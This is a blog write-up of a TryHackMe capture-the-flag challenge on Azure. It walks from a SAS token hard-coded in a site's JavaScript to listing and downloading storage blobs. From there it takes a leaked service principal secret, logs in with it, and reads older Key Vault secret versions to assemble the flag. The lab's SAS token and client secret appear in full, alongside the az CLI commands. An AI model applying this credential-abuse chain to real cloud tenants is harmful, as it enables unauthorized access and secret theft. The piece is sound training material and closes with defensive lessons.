DEV Community

Cover image for TryHackMe Hacker Holidays: CryptoCabana – Complete Writeup
Md. Ibrahim Reza Rabbi
Md. Ibrahim Reza Rabbi

Posted on

TryHackMe Hacker Holidays: CryptoCabana – Complete Writeup

Welcome to this walkthrough of the CryptoCabana challenge from the TryHackMe Hacker Holidays.

This challenge is a beautiful tour of Azure misconfigurations, secret management, and the power of versioning.

By the end of this write-up, you’ll understand exactly how a harmless-looking “backup your seed phrase” page can leak an entire infrastructure.


🧭 Challenge Scenario

You are given a static website hosted on Azure Storage (a.k.a. “static website” feature).

The page looks like a beach cabana kiosk where you can paste a seed phrase and “back it up” to a private vault.

The promise: “Backed up. Sleep easy.” – but as we’ll see, nothing here is as safe as it seems.

Your mission:

  1. Find out what the kiosk is quietly trusting to reach into storage on its own.
  2. See how far that trust actually extends.
  3. Retrieve a hidden flag that is split across multiple secrets.

🔍 Reconnaissance – The Website

We start with the target URL:

https://cryptocabanaf5scjagc.z13.web.core.windows.net/
Enter fullscreen mode Exit fullscreen mode

Visiting it in a browser shows a clean HTML page with a text area and a “Back it up” button.

Tip: Always view the page source and any linked JavaScript.

Inspecting index.html and app.js

The page loads a script called app.js. We can fetch it with curl:

curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
Enter fullscreen mode Exit fullscreen mode

Output:

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
Enter fullscreen mode Exit fullscreen mode

What we immediately learn:

  • The storage account name: cryptocabanaf5scjagc
  • The container used for backups: backups
  • A Shared Access Signature (SAS) token with permissions: sp=rlread and list permissions on blobs. The token is valid for a very long time (until 2099).

Important insight: The SAS token is embedded right in the client‑side code. Anyone who visits the page gets it. This is a critical misconfiguration – it allows anyone with that token to list and read all blobs in the backups container (and possibly others if the token is scoped to the account level). Here, srt=sco means the token applies to the storage account, container, and objects – so it works on any container.


🗂️ Exploring Storage with the SAS Token

Now we have a powerful token. We can use it with the Azure CLI or directly with curl to interact with the storage account.

List All Containers

export BACKUP_SAS="?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" --output table
Enter fullscreen mode Exit fullscreen mode

Result:

Name Lease Status Last Modified
$web 2026-07-16T18:26:22+00:00
backups 2026-07-16T18:26:22+00:00
vault 2026-07-16T18:26:23+00:00

We see three containers:

  • $web – stores the static website files (we already knew about index.html and app.js).
  • backups – the container used by the kiosk’s backup function.
  • vaultinteresting! This is not referenced anywhere in the JavaScript. It’s a hidden container.

List Blobs in vault

az storage blob list --account-name cryptocabanaf5scjagc --container-name vault --sas-token "$BACKUP_SAS" --output table
Enter fullscreen mode Exit fullscreen mode

Output:

Name Blob Type Length Content Type
backup-service-account.json BlockBlob 360 application/json
seed_phrase.txt BlockBlob 88 application/octet-stream

We also check backups but it appears empty (probably no one used the backup function). The vault container contains two files that sound promising.

Download the Files

az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name backup-service-account.json --file backup-service-account.json --sas-token "$BACKUP_SAS"
az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name seed_phrase.txt --file seed_phrase.txt --sas-token "$BACKUP_SAS"
Enter fullscreen mode Exit fullscreen mode

🔑 Extracting Service Principal Credentials

Open backup-service-account.json:

{
  "client_id":"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret":"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name":"ccabana-kv-f5scjagc",
  "key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/",
  "note":"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
  "tenant_id":"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}
Enter fullscreen mode Exit fullscreen mode

Jackpot! This file contains:

  • A service principal client_id and client_secret – credentials that can be used to authenticate as an Azure Active Directory application.
  • The name and URI of a Key Vault: ccabana-kv-f5scjagc.
  • The tenant ID (same as the challenge tenant).

Meanwhile, seed_phrase.txt just contains some garbage text (likely a decoy).


🔐 Authenticating as the Service Principal

The service principal likely has permissions to read secrets from the Key Vault. We log in with az login:

az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
Enter fullscreen mode Exit fullscreen mode

The CLI confirms we are now authenticated as that service principal.


🗝️ Exploring the Key Vault

Now we can list secrets in the vault:

az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table
Enter fullscreen mode Exit fullscreen mode

Secrets found:

Name Enabled Expires
key-shard-1 True
key-shard-2 True
key-shard-3 True
master-key True 2020-01-01

We have three shards and a master key. The challenge hints: “a vault that won't give up the real values on the first ask” and “if a value looks freshly rotated, ask yourself what it looked like five minutes before that”.


🔄 Checking Secret Versions

Key Vault secrets can have multiple versions. The latest version may be a red herring. We need to look at older versions.

List versions of key-shard-2:

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 --output json
Enter fullscreen mode Exit fullscreen mode

We see two versions:

  1. Older version (created at 2026-07-28T01:05:05) – ID ends with 3d6492...
  2. Newer version (created at 2026-07-28T01:05:07) – ID ends with c922c4...

The newer version is only two seconds newer – that is indeed “freshly rotated”. Let’s retrieve both.

Newer version (the decoy):

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version c922c422ffb34671a902389c372314f1
Enter fullscreen mode Exit fullscreen mode

Value:

"Rotated this after IT flagged it -- old value should still be recoverable if you know where to look."

A clear hint to check the older version.

Older version (the real one):

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0
Enter fullscreen mode Exit fullscreen mode

Value:

_k3ys_***_

Now we have the middle piece of the flag.


🧩 Retrieving the Other Shards

We also retrieve key-shard-1 and key-shard-3 (they only have one version each – no rotation, so the current value is the real one).

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3
Enter fullscreen mode Exit fullscreen mode

Values:

  • key-shard-1: THM{n0t_ur
  • key-shard-3: **_******}

We didn’t need master-key – it was probably locked down anyway (the service principal lacked getSecret permission on it, as we saw a “Forbidden” error when we tried).


🏁 Assembling the Flag

Combine in order:

THM{n0t_ur + _k3ys_***_ + **_******} = `THM{n0t_ur_k3ys___****}`*


📝 Key Lessons

  1. Never hard‑code SAS tokens in client‑side code.

    The SAS token here was meant only for the backup function, but it was exposed to every visitor. With read/list permissions, an attacker can enumerate and download any file in the storage account.

  2. Avoid using long‑lived SAS tokens.

    This token was valid until 2099 – a massive window. Always set short expiry times and use stored access policies.

  3. Secure your Key Vault secrets with proper RBAC.

    The service principal had read access to most secrets but not all – yet it was enough. The “freshly rotated” secret still had its older version left intact, which defeated the rotation.

  4. Secret versioning is both a blessing and a curse.

    Version history is useful for recovery, but it can also leak sensitive data if not managed carefully. When rotating, consider purging older versions if they are no longer needed.

  5. The “vault” container was a second storage container – a hidden backup of credentials.

    This is a classic case of “security through obscurity” – it didn’t hide anything because the SAS token gave access to all containers.


🎯 Conclusion

This challenge beautifully demonstrates how a single exposed SAS token can lead to full compromise of an Azure environment, including Key Vault secrets. By following the trust chain – from website → storage → service principal → Key Vault → secret versions – we extracted the flag split across multiple shards.

Final Flag: THM{n0t_ur_k3ys_***_**_******}

Happy hacking, and remember: always check the source code! 🏖️🔐

Top comments (0)